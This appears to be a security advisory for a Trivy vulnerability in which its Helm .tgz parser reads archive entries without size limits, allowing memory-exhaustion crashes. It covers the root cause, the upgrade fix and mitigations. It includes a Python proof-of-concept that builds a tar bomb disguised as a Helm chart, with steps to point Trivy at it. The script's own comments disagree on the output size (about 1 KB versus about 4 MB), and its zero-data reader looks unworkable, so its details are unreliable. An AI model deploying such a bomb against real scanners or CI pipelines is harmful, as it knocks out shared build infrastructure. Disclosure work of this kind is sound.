CVE-2026-54448: Trivy Helm Chart Tar Bomb OOM via Unbounded io.ReadAll
Trivy's Helm chart scanner reads every archive entry into memory with no size limit, so a crafted .tgz that expands to gigabytes can crash the Trivy process and take down a CI runner.
The problem
Before v0.71.0, Trivy's custom Helm .tgz unpacker called io.ReadAll(tr) on every tar entry with no per-entry or total size cap. Any .tgz file detected as a Helm chart triggered this path.
An attacker who can land a crafted archive in a scanned directory or container image can cause Trivy to allocate gigabytes of memory until the OS OOM killer terminates the process. In CI, that blocks the pipeline. On a shared runner it can affect co-located jobs.
Proof of concept
A working proof-of-concept for CVE-2026-54448 in github.com/aquasecurity/trivy, with the exact payload below.
#!/usr/bin/env python3
# Derive a Helm-shaped tar bomb that triggers io.ReadAll OOM in Trivy < 0.71.0.
# Produces a ~1 KB .tgz that decompresses to ~4 GB inside Trivy's parser.
import io, os, tarfile, gzip
BOMB_SIZE = 4 * 1024 * 1024 * 1024 # 4 GB of null bytes (compresses to ~4 MB)
# Build inner tar (chart contents) in memory
inner_buf = io.BytesIO()
with tarfile.open(fileobj=inner_buf, mode='w') as inner:
# Chart.yaml is required for Trivy to recognise the archive as a Helm chart
chart_yaml = b"apiVersion: v2\nname: bomb\nversion: 0.1.0\n"
ti = tarfile.TarInfo(name="bomb/Chart.yaml")
ti.size = len(chart_yaml)
inner.addfile(ti, io.BytesIO(chart_yaml))
# Huge null-filled file — gzip reduces this to kilobytes
huge = tarfile.TarInfo(name="bomb/templates/bigfile")
huge.size = BOMB_SIZE
inner.addfile(huge, io.RawIOBase()) # sparse / zero-reader
inner_buf.seek(0)
# Wrap in gzip to produce the final .tgz
with gzip.open("helm-bomb.tgz", "wb", compresslevel=9) as gz:
gz.write(inner_buf.read())
print("Created helm-bomb.tgz")
print("Place it in any directory and run: trivy config <dir>")The root cause (CWE-789, CWE-770) is a single line in Trivy's pre-patch Helm parser: each tar entry was consumed with io.ReadAll(tr), allocating the full decompressed size as a byte slice in Go's heap. Gzip's compression ratio for repeated-byte data is roughly 1000:1, so a few-kilobyte on-disk archive yields gigabytes in memory with no check in between.
The fix in commit 441251e (PR #10718) replaced the hand-rolled tar loop entirely with archive.LoadArchiveFiles from the official helm.sh/helm/v4 SDK, which enforces both per-entry and cumulative size limits before any data is read into memory. The payload above is derived from the patch diff: it constructs the minimal Helm directory structure (Chart.yaml) so Trivy recognises it as a chart, then adds one oversized null-filled entry that the old code would read unconditionally.
The fix
Upgrade Trivy to v0.71.0 or later. If an immediate upgrade is not possible: set a cgroup/container memory limit on the Trivy process, or use --skip-dirs to exclude directories containing untrusted .tgz files. The patched version delegates all archive extraction to helm.sh/helm/v4's archive.LoadArchiveFiles, which applies hard size limits on every entry.
Reported by jamesgol.
Related research
- high · 7.5CVE-2026-54638CVE-2026-54638: gotd/td Pre-Auth Denial of Service via Unbounded Memory Allocation
- high · 7.5CVE-2026-50274CVE-2026-50274: dd-trace-go Unbounded W3C Baggage Header Parsing DoS
- highetcd tlsListener Unbounded TLS Handshake Goroutine DoS
- highgRPC-Go: xDS RBAC Authorization Bypass, HTTP/2 Rapid Reset DoS, and NOT-Rule Panic